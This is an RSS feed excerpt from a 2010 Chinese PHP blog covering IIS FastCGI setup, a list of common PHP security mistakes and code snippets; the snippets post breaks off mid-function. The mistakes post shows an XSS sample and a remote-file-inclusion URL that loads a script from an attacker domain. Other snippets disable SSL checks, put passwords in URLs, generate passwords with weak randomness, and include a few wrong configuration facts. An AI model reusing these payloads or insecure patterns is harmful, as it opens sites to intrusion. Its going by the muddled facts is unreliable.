		<description><![CDATA[作者: zengxiangzhan 发表于 2010-03-05 16:52 原文链接 今天有个小web需要php环境运行，为了配置，下了番苦功！终于可以显示了： 我们知道php配置有几种： 1、CGI方式加载PHP环境，通常就是IIS里面配置解释器为php.exe，早期比较常见，目前使用较少。 特点是：稳定，但效率太低。 2、ISAPI方式加载PHP环境，通常就是IIS里面配置解释器为php5isapi.dll，目前使用最多，应用最广。 特点是：多线程，效率较高，但不够稳定。 3、FastCGI方式加载PHP环境，在IIS环境里并不常见，但其它系统环境应用还是有的，不过IIS7.0开始内置FastCGI了。 特点是：高效率，高稳定性，属于将来发展趋势。 我试过其他的特别麻烦，PHP 5.3发布的Windows版已经不支持ISAPI模式了，所以我打算按微软推荐的FastCGI方式运行PHP。 我用的就第三种，也是最好最快的，因为FastCGI大大加强了IIS处理PHP的能力,能迅速提高PHP站点的反应速度和生产力, 并具有更高的稳定性和安全性.      下载地址：http://windows.php.net/download/  里面有好多种，要那种呢？ PHP现在推出5.3.2版本了，不过下载的时候有几个不同版本选择。那就是VC6 X86和VC9 X86。 首先我来解答: VC6是什么？ VC6就是legacy Visual Studio 6 compiler，就是使用这个编译器编译的。 VC9是什么？ VC9就是the Visual Studio 2008 compiler，就是用微软的VS编辑器编译的。 那我们如何选择下载哪个版本的PHP呢？ 如果你是在windows下使用Apache+PHP的，请选择VC6版本； 如果你是在windows下使用IIS+PHP的，请选择VC9版本； 那Non Thread Safe是什么？ Non Thread Safe就是非线程安全； Thread Safe 是什么? Non Thread Safe 是线程安全； 官方并不建议你将Non Thread [...]


Related posts:<ol><li><a href='http://cq-cser.cn/2009/12/microsoft-visualstudio-xaml-%e6%9c%aa%e5%8a%a0%e8%bd%bd%e9%94%99%e8%af%af/' rel='bookmark' title='Permanent Link: Microsoft.VisualStudio.Xaml 加载错误'>Microsoft.VisualStudio.Xaml 加载错误</a></li>
<li><a href='http://cq-cser.cn/2010/04/crossthreaddemo%e8%b7%a8%e7%ba%bf%e7%a8%8b%e5%ae%89%e5%85%a8%e7%bc%96%e7%a8%8borz/' rel='bookmark' title='Permanent Link: CrossThreadDemo跨线程安全编程/ORZ'>CrossThreadDemo跨线程安全编程/ORZ</a></li>
<li><a href='http://cq-cser.cn/2010/01/wpf2/' rel='bookmark' title='Permanent Link: wpf(2)'>wpf(2)</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>作者: <a href="http://www.cnblogs.com/zengxiangzhan/" target="_blank">zengxiangzhan</a> 发表于 2010-03-05 16:52 <a href="http://www.cnblogs.com/zengxiangzhan/archive/2010/03/05/1679286.html" target="_blank">原文链接</a></p>
<div>
<div>
<p><span style="color: #008000;">今天有个小web需要php环境运行，为了配置，下了番苦功！终于可以显示了：</span></p>
<p><img style="display: inline; border: 0px;" title="曾祥展" src="http://images.cnblogs.com/cnblogs_com/zengxiangzhan/WindowsLiveWriter/IISPHP_ECF5/6_3.png" border="0" alt="曾祥展" width="550" height="466" /></p>
<p>我们知道php配置有几种：<span id="more-967"></span></p>
<p>1、CGI方式加载PHP环境，通常就是IIS里面配置解释器为php.exe，早期比较常见，目前使用较少。<br />
特点是：稳定，但效率太低。</p>
<p>2、ISAPI方式加载PHP环境，通常就是IIS里面配置解释器为php5isapi.dll，目前使用最多，应用最广。<br />
特点是：多线程，效率较高，但不够稳定。</p>
<p>3、FastCGI方式加载PHP环境，在IIS环境里并不常见，但其它系统环境应用还是有的，不过IIS7.0开始内置FastCGI了。<br />
特点是：<span style="color: #008000;"><strong>高效率，高稳定性，属于将来发展趋势。</strong></span></p>
<p>我试过其他的特别麻烦，PHP 5.3发布的Windows版已经不支持ISAPI模式了，所以我打算按微软推荐的FastCGI方式运行PHP。</p>
<p>我用的就第三种，也是最好最快的，因为<strong><span style="color: #008000;">FastCGI大大加强了IIS处理PHP的能力,能迅速提高PHP站点的反应速度和生产力,</span></strong></p>
<p><strong><span style="color: #008000;">并具有更高的稳定性和安全性.</span></strong></p>
<p>     下载地址：<a href="http://windows.php.net/download/" target="_blank">http://windows.php.net/download/  </a>里面有好多种，要那种呢？</p>
<p>PHP现在推出5.3.2版本了，不过下载的时候有几个不同版本选择。那就是VC6 X86和VC9 X86。<br />
首先我来解答:<br />
VC6是什么？<br />
VC6就是legacy Visual Studio 6 compiler，就是使用这个编译器编译的。<br />
VC9是什么？<br />
VC9就是the Visual Studio 2008 compiler，就是用微软的VS编辑器编译的。</p>
<p>那我们如何选择下载哪个版本的PHP呢？<br />
如果你是在windows下使用Apache+PHP的，请选择VC6版本；<br />
如果你是在<span style="color: #008000;"><strong>windows下使用IIS+PHP的，请选择VC9版本；</strong></span></p>
<p>那Non Thread Safe是什么？<br />
Non Thread Safe就是非线程安全；<br />
Thread Safe 是什么?<br />
Non Thread Safe 是线程安全；<br />
官方并不建议你将Non Thread Safe 应用于生产环境，所以我们<span style="color: #008000;"><strong>选择Thread Safe 版本的PHP来使用</strong></span>。</p>
<p> </p>
<p>下载安装，我安装默认路径了：</p>
<p><img style="display: inline; border: 0px;" title="曾祥展" src="http://images.cnblogs.com/cnblogs_com/zengxiangzhan/WindowsLiveWriter/IISPHP_ECF5/1_3.png" border="0" alt="曾祥展" width="527" height="420" /></p>
<p>记得选中第三项：<strong><span style="color: #008000;">IIS FASTCGI</span></strong></p>
<p><img style="display: inline; border: 0px;" title="曾祥展" src="http://images.cnblogs.com/cnblogs_com/zengxiangzhan/WindowsLiveWriter/IISPHP_ECF5/2_3.png" border="0" alt="曾祥展" width="532" height="422" /></p>
<p>如果没有安装IIS FASTCGI的 下一步会提示没有安装的，下载安装就行了</p>
<p>FastCGI  for IIS 6  7   <a href="http://www.iis.net/expand/fastcgi" target="_blank">http://www.iis.net/expand/fastcgi</a></p>
<p><img style="display: inline; border: 0px;" title="曾祥展" src="http://images.cnblogs.com/cnblogs_com/zengxiangzhan/WindowsLiveWriter/IISPHP_ECF5/2-2_3.png" border="0" alt="曾祥展" width="630" height="480" /></p>
<p><img style="display: inline; border: 0px;" title="2-1" src="http://images.cnblogs.com/cnblogs_com/zengxiangzhan/WindowsLiveWriter/IISPHP_ECF5/2-1_3.png" border="0" alt="2-1" width="739" height="513" /></p>
<p>安装好后，继续下一步，我按照默认了：</p>
<p><img style="display: inline; border: 0px;" title="曾祥展" src="http://images.cnblogs.com/cnblogs_com/zengxiangzhan/WindowsLiveWriter/IISPHP_ECF5/3_3.png" border="0" alt="曾祥展" width="530" height="423" /></p>
<p>安装完毕后，就是配置了。</p>
<p>这种配置有两种方法，我用cmd配置，一条命令就行了。</p>
<p> </p>
<p> </p>
<p> </p>
<p>转到刚才安装CGI的目录下： </p>
<p>&gt;<span style="color: #0000ff;">cd C:\WINDOWS\system32\inetsrv</span></p>
<p>&gt;<span style="color: #0000ff;">cscript fcgiconfig.js -add -section:&#8221;PHP&#8221; -extension:php -path:&#8221;C:\Program Files\PHP\php-cgi.exe&#8221;</span></p>
<p><span style="color: #ff0000;">注意：path:&#8221;xxxx\php-cgi.exe” 是你安装php的目录</span></p>
<p>&gt; <span style="color: #0000ff;">cscript fcgiconfig.js -set -section:&#8221;PHP&#8221; -InstanceMaxRequests:10000<br />
</span>&gt; <span style="color: #0000ff;">cscript fcgiconfig.js -set -section:&#8221;PHP&#8221; -EnvironmentVars:PHP_FCGI_MAX_REQUESTS:10000</span></p>
<p><img style="display: inline; border: 0px;" title="曾祥展" src="http://images.cnblogs.com/cnblogs_com/zengxiangzhan/WindowsLiveWriter/IISPHP_ECF5/4_3.png" border="0" alt="曾祥展" width="702" height="467" /></p>
<p>ok!完毕！</p>
<p>测试下：</p>
<p>新建一个.php文件，里面</p>
<p><span style="color: #800080;">&lt;?php </span></p>
<p><span style="color: #800080;">phpinfo(); </span></p>
<p><span style="color: #800080;">?&gt;</span></p>
<p>保存！运行，出现下面页面，说明配置成功了！</p>
<p><img style="display: inline; border: 0px;" title="曾祥展" src="http://images.cnblogs.com/cnblogs_com/zengxiangzhan/WindowsLiveWriter/IISPHP_ECF5/5_3.png" border="0" alt="曾祥展" width="635" height="584" /></p>
<p>这样的方法 IIS就不用怎么配置，他都会自动配置好了！<a href="http://learn.iis.net/page.aspx/247/using-fastcgi-to-host-php-applications-on-iis-60/" target="_blank">微软提供的配置更加详细</a> ！</p>
<p>如果按上面的教程配置好后，运行php测试页面，出现了500错误。</p>
<p><span style="color: #008000;">那就设置php.ini中的date.timezone项。 </span></p>
<p><span style="color: #008000;">我这里设置成上海时区：date.timezone = Asia/beijing</span></p>
<p>设置完后就一切正常了!</p></div>
</div>


<p>Related posts:<ol><li><a href='http://cq-cser.cn/2009/12/microsoft-visualstudio-xaml-%e6%9c%aa%e5%8a%a0%e8%bd%bd%e9%94%99%e8%af%af/' rel='bookmark' title='Permanent Link: Microsoft.VisualStudio.Xaml 加载错误'>Microsoft.VisualStudio.Xaml 加载错误</a></li>
<li><a href='http://cq-cser.cn/2010/04/crossthreaddemo%e8%b7%a8%e7%ba%bf%e7%a8%8b%e5%ae%89%e5%85%a8%e7%bc%96%e7%a8%8borz/' rel='bookmark' title='Permanent Link: CrossThreadDemo跨线程安全编程/ORZ'>CrossThreadDemo跨线程安全编程/ORZ</a></li>
<li><a href='http://cq-cser.cn/2010/01/wpf2/' rel='bookmark' title='Permanent Link: wpf(2)'>wpf(2)</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://cq-cser.cn/2010/03/iis%e9%85%8d%e7%bd%aephp%e7%8e%af%e5%a2%83/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>php编写易范错误</title>
		<link>http://cq-cser.cn/2010/02/php%e7%bc%96%e5%86%99%e6%98%93%e8%8c%83%e9%94%99%e8%af%af/</link>
		<comments>http://cq-cser.cn/2010/02/php%e7%bc%96%e5%86%99%e6%98%93%e8%8c%83%e9%94%99%e8%af%af/#comments</comments>
		<pubDate>Fri, 26 Feb 2010 07:30:52 +0000</pubDate>
		<dc:creator>cq</dc:creator>
				<category><![CDATA[php]]></category>
		<category><![CDATA[编写]]></category>
		<category><![CDATA[错误]]></category>

		<guid isPermaLink="false">http://cq-cser.cn/?p=905</guid>
		<description><![CDATA[PHP是个伟大的web开发语言，灵活的语言，但是看到php程序员周而复始的犯的一些错误。我做了下面这个列表，列出了PHP程序员经常犯的10中错误，大多数和安全相关。看看你犯了几种 1.不转意html entities    一个基本的常识：所有不可信任的输入（特别是用户从form中提交的数据） ，输出之前都要转意。 echo $_GET['usename'] ; 这个例子有可能输出： &#60;script&#62;/*更改admin密码的脚本或设置cookie的脚本*/&#60;/script&#62; 这是一个明显的安全隐患，除非你保证你的用户都正确的输入。 如何修复 ： 我们需要将&#8221;&#60; &#8220;,&#8221;&#62;&#8221;,&#8221;and&#8221; 等转换成正确的HTML表示(&#60; , &#62;&#8217;, and &#8220;)，函数htmlspecialchars 和 htmlentities()正是干这个活的。 正确的方法： echo htmlspecialchars($_GET['username'], ENT_QUOTES); 2. 不转意SQL输入 我曾经在一篇文章中最简单的防止sql注入的方法(php+mysql中)讨论过这个问题并给出了一个简单的方法 。有人对我说，他们已经在php.ini中将magic_quotes设置为On，所以不必担心这个问题，但是不是所有的输入都是从$_GET, $_POST或 $_COOKIE中的得到的！ 如何修复： 和在最简单的防止sql注入的方法(php+mysql中)中一样我还是推荐使用mysql_real_escape_string()函数 正确做法： &#60;?php $sql = &#8220;UPDATE users SET name=&#8217;.mysql_real_escape_string($name).&#8217; WHERE id=&#8217;.mysql_real_escape_string ($id).&#8217;&#8221;; mysql_query($sql); ?&#62; 3.错误的使用HTTP-header 相关的函数: header(), session_start(), setcookie() 遇到过这个警告吗?&#8221;warning: Cannot [...]


Related posts:<ol><li><a href='http://cq-cser.cn/2010/03/sajaxphp%e4%b8%8bajax%e7%ae%80%e6%98%93%e6%a1%86%e6%9e%b6/' rel='bookmark' title='Permanent Link: Sajax/php下ajax简易框架'>Sajax/php下ajax简易框架</a></li>
<li><a href='http://cq-cser.cn/2010/02/21%e4%b8%aa21%e4%b8%aa%e5%ae%9e%e7%94%a8php%e4%bb%a3%e7%a0%81/' rel='bookmark' title='Permanent Link: 21个21个实用PHP代码'>21个21个实用PHP代码</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>PHP是个伟大的web开发语言，灵活的语言，但是看到php程序员周而复始的犯的一些错误。我做了下面这个列表，列出了PHP程序员经常犯的10中错误，大多数和安全相关。看看你犯了几种<br />
1.不转意html entities<br />
   一个基本的常识：所有不可信任的输入（特别是用户从form中提交的数据） ，输出之前都要转意。<br />
echo $_GET['usename'] ;<br />
这个例子有可能输出：<br />
&lt;script&gt;/*更改admin密码的脚本或设置cookie的脚本*/&lt;/script&gt;<br />
这是一个明显的安全隐患，除非你保证你的用户都正确的输入。</p>
<p><span id="more-905"></span><br />
如何修复 ：<br />
我们需要将&#8221;&lt; &#8220;,&#8221;&gt;&#8221;,&#8221;and&#8221; 等转换成正确的HTML表示(&lt; , &gt;&#8217;, and &#8220;)，函数htmlspecialchars 和 htmlentities()正是干这个活的。<br />
正确的方法：<br />
echo htmlspecialchars($_GET['username'], ENT_QUOTES);<br />
2. 不转意SQL输入<br />
我曾经在一篇文章中最简单的防止sql注入的方法(php+mysql中)讨论过这个问题并给出了一个简单的方法 。有人对我说，他们已经在php.ini中将magic_quotes设置为On，所以不必担心这个问题，但是不是所有的输入都是从$_GET, $_POST或 $_COOKIE中的得到的！<br />
如何修复：<br />
和在最简单的防止sql注入的方法(php+mysql中)中一样我还是推荐使用mysql_real_escape_string()函数<br />
正确做法：<br />
&lt;?php<br />
$sql = &#8220;UPDATE users SET<br />
name=&#8217;.mysql_real_escape_string($name).&#8217;<br />
WHERE id=&#8217;.mysql_real_escape_string ($id).&#8217;&#8221;;<br />
mysql_query($sql);<br />
?&gt;<br />
3.错误的使用HTTP-header 相关的函数: header(), session_start(), setcookie()<br />
遇到过这个警告吗?&#8221;warning: Cannot add header information &#8211; headers already sent [....]</p>
<p>每次从服务器下载一个网页的时候，服务器的输出都分成两个部分：头部和正文。<br />
头部包含了一些非可视的数据，例如cookie。头部总是先到达。正文部分包括可视的html，图片等数据。<br />
如果output_buffering设置为Off，所有的HTTP-header相关的函数必须在有输出之前调用。问题在于你在一个环境中开发，而在部署到另一个环境中去的时候，output_buffering的设置可能不一样。结果转向停止了，cookie和session都没有正确的设置&#8230;&#8230;..。</p>
<p>如何修复:<br />
确保在输出之前调用http-header相关的函数，并且令output_buffering = Off<br />
。<br />
4. Require 或 include 的文件使用不安全的数据<br />
再次强调：不要相信不是你自己显式声明的数据。不要 Include 或 require 从$_GET, $_POST 或 $_COOKIE 中得到的文件。<br />
例如:<br />
index.php<br />
&lt;?<br />
//including header, config, database connection, etc<br />
include($_GET['filename']);<br />
//including footer<br />
?&gt;<br />
现在任一个黑客现在都可以用:http://www.yourdomain.com/index.php?filename=anyfile.txt<br />
来获取你的机密信息，或执行一个PHP脚本。<br />
如果allow_url_fopen=On，你更是死定了：<br />
试试这个输入：</p>
<p>http://www.yourdomain.com/index.php?filename=http%3A%2F%2Fdomain.com%2Fphphack.php</p>
<p>现在你的网页中包含了http://www.youaredoomed.com/phphack.php的输出. 黑客可以发送垃圾邮件，改变密码，删除文件等等。只要你能想得到。<br />
如何修复：<br />
你必须自己控制哪些文件可以包含在的include或require指令中。<br />
下面是一个快速但不全面的解决方法：<br />
&lt;?<br />
//Include only files that are allowed.<br />
$allowedFiles = array(&#8216;file1.txt&#8217;,'file2.txt&#8217;,'file3.txt&#8217;);<br />
if(in_array((string)$_GET['filename'],$allowedFiles)) {<br />
include($_GET['filename']);<br />
}<br />
else{<br />
exit(&#8216;not allowed&#8217;);<br />
}<br />
?&gt;<br />
5. 语法错误<br />
语法错误包括所有的词法和语法错误，太常见了，以至于我不得不在这里列出。解决办法就是认真学习PHP的语法，仔细一点不要漏掉一个括号，大括号，分号，引号。还有就是换个好的编辑器，就不要用记事本了！<br />
6.很少使用或不用面向对象<br />
很多的项目都没有使用PHP的面向对象技术，结果就是代码的维护变得非常耗时耗力。PHP支持的面向对象技术越来越多，越来越好，我们没有理由不使用面向对象。<br />
7. 不使用framework<br />
95% 的PHP项目都在做同样的四件事: Create, edit, list 和delete. 现在有很多MVC的框架来帮我们完成这四件事，我们为何不使用他们呢？<br />
8. 不知道PHP中已经有的功能<br />
PHP的核心包含很多功能。很多程序员重复的发明轮子。浪费了大量时间。编码之前搜索一下PHP mamual，在google上检索一下，也许会有新的发现！PHP中的exec()是一个强大的函数，可以执行cmd shell，并把执行结果的最后一行以字符串的形式返回。考虑到安全可以使用EscapeShellCmd()<br />
9.使用旧版本的PHP<br />
很多程序员还在使用PHP4，在PHP4上开发不能充分发挥PHP的潜能，还存在一些安全的隐患。转到PHP5上来吧，并不费很多功夫。大部分PHP4程序只要改动很少的语句甚至无需改动就可以迁移到PHP5上来。根据http://www.nexen.net的调查 只有12%的PHP服务器使用PHP5，所以有88%的PHP开发者还在使用PHP4.<br />
10.对引号做两次转意<br />
见过网页中出现\&#8217;或\&#8217;&#8221;吗？这通常是因为在开发者的环境中magic_quotes 设置为off，而在部署的服务器上magic_quotes =on. PHP会在 GET, POST 和 COOKIE中的数据上重复运行addslashes() 。<br />
原始文本：<br />
It&#8217;s a string</p>
<p>magic quotes on :<br />
It\&#8217;s a string<br />
又运行一次<br />
addslashes():<br />
It\\&#8217;s a string</p>
<p>HTML输出:<br />
It\&#8217;s a string</p>
<p>还有一种情况就是，用户一开始输入了错误的登录信息，服务器检测到错误输入后，输出同样的form要求用户再次输入，导致用户的输入转意两次！</p>


<p>Related posts:<ol><li><a href='http://cq-cser.cn/2010/03/sajaxphp%e4%b8%8bajax%e7%ae%80%e6%98%93%e6%a1%86%e6%9e%b6/' rel='bookmark' title='Permanent Link: Sajax/php下ajax简易框架'>Sajax/php下ajax简易框架</a></li>
<li><a href='http://cq-cser.cn/2010/02/21%e4%b8%aa21%e4%b8%aa%e5%ae%9e%e7%94%a8php%e4%bb%a3%e7%a0%81/' rel='bookmark' title='Permanent Link: 21个21个实用PHP代码'>21个21个实用PHP代码</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://cq-cser.cn/2010/02/php%e7%bc%96%e5%86%99%e6%98%93%e8%8c%83%e9%94%99%e8%af%af/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PHP的新浪微博发信接口</title>
		<link>http://cq-cser.cn/2010/02/php%e7%9a%84%e6%96%b0%e6%b5%aa%e5%be%ae%e5%8d%9a%e5%8f%91%e4%bf%a1%e6%8e%a5%e5%8f%a3/</link>
		<comments>http://cq-cser.cn/2010/02/php%e7%9a%84%e6%96%b0%e6%b5%aa%e5%be%ae%e5%8d%9a%e5%8f%91%e4%bf%a1%e6%8e%a5%e5%8f%a3/#comments</comments>
		<pubDate>Sun, 21 Feb 2010 11:54:26 +0000</pubDate>
		<dc:creator>cq</dc:creator>
				<category><![CDATA[WEB]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[接口]]></category>
		<category><![CDATA[新浪微博]]></category>

		<guid isPermaLink="false">http://cq-cser.cn/?p=866</guid>
		<description><![CDATA[新浪微博已开放很久但是无奈一直不提供api.网上也没搜索到相应的，因此风吟自己写了一个函数。可以发送到新浪微博。跟大家分享，希望官方能及早开放API。诞生更多应用. 　　以下为引用的内容： 　　&#60;?php 　　/* 　　&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;- 　　@名称:基于CURL的新浪微博接口 　　@演示:http://demos.fengyin.name/apps/sina-microblog-api.php 　　@作者:风吟 　　@博客:http://fengyin.name/ 　　@更新:2009年11月6日 17:15:54 　　@版权:Copyright (c) 风吟版权所有转载请保留注释，本程序为开源程序(开放源代码)。 　　只要你遵守 MIT licence 协议.您就可以自由地传播和修改源码以及创作衍生作品. 　　&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;- 　　调用方式: 　　sendmicroblog([帐号],[密码],[内容]); 　　*/ 　　function sendmicroblog($a, $b, $c) { 　　　　$d = tempnam(&#8216;./&#8217;, &#8216;cookie.txt&#8217;); //创建随机临时文件保存cookie. 　　　　$ch = curl_init(&#8220;https://login.sina.com.cn/sso/login.php?username=$a&#38;password=$b&#38;returntype=TEXT&#8221;); 　　　　curl_setopt($ch, CURLOPT_COOKIEJAR, $d); 　　　　curl_setopt($ch, CURLOPT_HEADER, 0); 　　　　curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); 　　　　curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 　　　　curl_setopt($ch, CURLOPT_TIMEOUT, 10); 　　　　curl_setopt($ch, CURLOPT_USERAGENT, &#8220;FengYin&#8221;); 　　　　curl_exec($ch); 　　　　curl_close($ch); [...]


Related posts:<ol><li><a href='http://cq-cser.cn/2010/03/%e6%a0%a1%e5%86%85api%e4%be%8b%e5%ad%90/' rel='bookmark' title='Permanent Link: 校内API例子'>校内API例子</a></li>
<li><a href='http://cq-cser.cn/2009/12/ajax%e5%9c%a8%e9%9d%99%e6%80%81html%e9%a1%b5%e9%9d%a2%e4%b8%ad%e5%ae%9e%e7%8e%b0%e6%9d%83%e9%99%90%e6%8e%a7%e5%88%b6%e7%9a%84%e5%ba%94%e7%94%a8/' rel='bookmark' title='Permanent Link: AJAX在静态HTML页面中实现权限控制的应用'>AJAX在静态HTML页面中实现权限控制的应用</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>新浪微博已开放很久但是无奈一直不提供api.网上也没搜索到相应的，因此风吟自己写了一个函数。可以发送到新浪微博。跟大家分享，希望官方能及早开放API。诞生更多应用.</p>
<p>　　以下为引用的内容：</p>
<p>　　&lt;?php<br />
　　/*<br />
　　&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
　　@名称:基于CURL的新浪微博接口<br />
　　@演示:http://demos.fengyin.name/apps/sina-microblog-api.php<br />
　　@作者:风吟<br />
　　@博客:http://fengyin.name/<br />
　　@更新:2009年11月6日 17:15:54<br />
　　@版权:Copyright (c) 风吟版权所有转载请保留注释，本程序为开源程序(开放源代码)。<br />
　　只要你遵守 MIT licence 协议.您就可以自由地传播和修改源码以及创作衍生作品.<br />
　　&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p><span id="more-866"></span><br />
　　调用方式:<br />
　　sendmicroblog([帐号],[密码],[内容]);<br />
　　*/<br />
　　function sendmicroblog($a, $b, $c) {<br />
　　　　$d = tempnam(&#8216;./&#8217;, &#8216;cookie.txt&#8217;); //创建随机临时文件保存cookie.<br />
　　　　$ch = curl_init(&#8220;https://login.sina.com.cn/sso/login.php?username=$a&amp;password=$b&amp;returntype=TEXT&#8221;);<br />
　　　　curl_setopt($ch, CURLOPT_COOKIEJAR, $d);<br />
　　　　curl_setopt($ch, CURLOPT_HEADER, 0);<br />
　　　　curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);<br />
　　　　curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);<br />
　　　　curl_setopt($ch, CURLOPT_TIMEOUT, 10);<br />
　　　　curl_setopt($ch, CURLOPT_USERAGENT, &#8220;FengYin&#8221;);<br />
　　　　curl_exec($ch);<br />
　　　　curl_close($ch);<br />
　　　　unset($ch);<br />
　　　　$ch = curl_init($ch);<br />
　　　　curl_setopt($ch, CURLOPT_URL, &#8220;http://t.sina.com.cn/mblog/publish.php&#8221;);<br />
　　　　curl_setopt($ch, CURLOPT_REFERER, &#8220;http://t.sina.com.cn&#8221;);<br />
　　　　curl_setopt($ch, CURLOPT_POST, 1);<br />
　　　　curl_setopt($ch, CURLOPT_POSTFIELDS, &#8220;content=&#8221;.urlencode($c));<br />
　　　　curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);<br />
　　　　curl_setopt($ch, CURLOPT_COOKIEFILE, $d);<br />
　　　　curl_exec($ch);<br />
　　　　curl_close($ch);<br />
　　　　unlink($d);//删除临时文件.</p>
<p>　　}<br />
　　/*<br />
　　使用方式:<br />
　　sendmicroblog(&#8217;6045527@qq.com&#8217;,'*************&#8217;,'我爱新浪 &#8211; 通过风吟API发送&#8217;);<br />
　　*/<br />
　　?&gt;</p>
<p>　　来源：风吟</p>


<p>Related posts:<ol><li><a href='http://cq-cser.cn/2010/03/%e6%a0%a1%e5%86%85api%e4%be%8b%e5%ad%90/' rel='bookmark' title='Permanent Link: 校内API例子'>校内API例子</a></li>
<li><a href='http://cq-cser.cn/2009/12/ajax%e5%9c%a8%e9%9d%99%e6%80%81html%e9%a1%b5%e9%9d%a2%e4%b8%ad%e5%ae%9e%e7%8e%b0%e6%9d%83%e9%99%90%e6%8e%a7%e5%88%b6%e7%9a%84%e5%ba%94%e7%94%a8/' rel='bookmark' title='Permanent Link: AJAX在静态HTML页面中实现权限控制的应用'>AJAX在静态HTML页面中实现权限控制的应用</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://cq-cser.cn/2010/02/php%e7%9a%84%e6%96%b0%e6%b5%aa%e5%be%ae%e5%8d%9a%e5%8f%91%e4%bf%a1%e6%8e%a5%e5%8f%a3/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>21个21个实用PHP代码</title>
		<link>http://cq-cser.cn/2010/02/21%e4%b8%aa21%e4%b8%aa%e5%ae%9e%e7%94%a8php%e4%bb%a3%e7%a0%81/</link>
		<comments>http://cq-cser.cn/2010/02/21%e4%b8%aa21%e4%b8%aa%e5%ae%9e%e7%94%a8php%e4%bb%a3%e7%a0%81/#comments</comments>
		<pubDate>Sun, 21 Feb 2010 11:53:02 +0000</pubDate>
		<dc:creator>cq</dc:creator>
				<category><![CDATA[WEB]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[实用]]></category>

		<guid isPermaLink="false">http://cq-cser.cn/?p=864</guid>
		<description><![CDATA[1. PHP可阅读随机字符串 此代码将创建一个可阅读的字符串，使其更接近词典中的单词，实用且具有密码验证功能。 /************** *@length &#8211; length of random string (must be a multiple of 2) **************/ function readable_random_string($length = 6){     $conso=array(&#8220;b&#8221;,&#8221;c&#8221;,&#8221;d&#8221;,&#8221;f&#8221;,&#8221;g&#8221;,&#8221;h&#8221;,&#8221;j&#8221;,&#8221;k&#8221;,&#8221;l&#8221;,     &#8220;m&#8221;,&#8221;n&#8221;,&#8221;p&#8221;,&#8221;r&#8221;,&#8221;s&#8221;,&#8221;t&#8221;,&#8221;v&#8221;,&#8221;w&#8221;,&#8221;x&#8221;,&#8221;y&#8221;,&#8221;z&#8221;);     $vocal=array(&#8220;a&#8221;,&#8221;e&#8221;,&#8221;i&#8221;,&#8221;o&#8221;,&#8221;u&#8221;);     $password=&#8221;";     srand ((double)microtime()*1000000);     $max = $length/2;     for($i=1; $i&#60;=$max; $i++)     {     $password.=$conso[rand(0,19)];     $password.=$vocal[rand(0,4)];     }     return $password; } 2. PHP生成一个随机字符串 如果不需要可阅读的字符串，使用此函数替代，即可创建一个随机字符串，作为用户的随机密码等。 [...]


Related posts:<ol><li><a href='http://cq-cser.cn/2010/05/9-php-skills/' rel='bookmark' title='Permanent Link: 9-PHP-SKILLS'>9-PHP-SKILLS</a></li>
<li><a href='http://cq-cser.cn/2009/12/seo%e6%89%93%e6%89%8b/' rel='bookmark' title='Permanent Link: SEO打手'>SEO打手</a></li>
<li><a href='http://cq-cser.cn/2009/12/10-tips-to-make-more-money-fromwp/' rel='bookmark' title='Permanent Link: 10 tips to make more money fromWP'>10 tips to make more money fromWP</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>1. PHP可阅读随机字符串</p>
<p>此代码将创建一个可阅读的字符串，使其更接近词典中的单词，实用且具有密码验证功能。</p>
<p><span id="more-864"></span>/**************<br />
*@length &#8211; length of random string (must be a multiple of 2)<br />
**************/<br />
function readable_random_string($length = 6){<br />
    $conso=array(&#8220;b&#8221;,&#8221;c&#8221;,&#8221;d&#8221;,&#8221;f&#8221;,&#8221;g&#8221;,&#8221;h&#8221;,&#8221;j&#8221;,&#8221;k&#8221;,&#8221;l&#8221;,<br />
    &#8220;m&#8221;,&#8221;n&#8221;,&#8221;p&#8221;,&#8221;r&#8221;,&#8221;s&#8221;,&#8221;t&#8221;,&#8221;v&#8221;,&#8221;w&#8221;,&#8221;x&#8221;,&#8221;y&#8221;,&#8221;z&#8221;);<br />
    $vocal=array(&#8220;a&#8221;,&#8221;e&#8221;,&#8221;i&#8221;,&#8221;o&#8221;,&#8221;u&#8221;);<br />
    $password=&#8221;";<br />
    srand ((double)microtime()*1000000);<br />
    $max = $length/2;<br />
    for($i=1; $i&lt;=$max; $i++)<br />
    {<br />
    $password.=$conso[rand(0,19)];<br />
    $password.=$vocal[rand(0,4)];<br />
    }<br />
    return $password;<br />
}</p>
<p>2. PHP生成一个随机字符串</p>
<p>如果不需要可阅读的字符串，使用此函数替代，即可创建一个随机字符串，作为用户的随机密码等。</p>
<p>/*************<br />
*@l &#8211; length of random string<br />
*/<br />
function generate_rand($l){<br />
  $c= &#8220;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789&#8243;;<br />
  srand((double)microtime()*1000000);<br />
  for($i=0; $i&lt;$l; $i++) {<br />
      $rand.= $c[rand()%strlen($c)];<br />
  }<br />
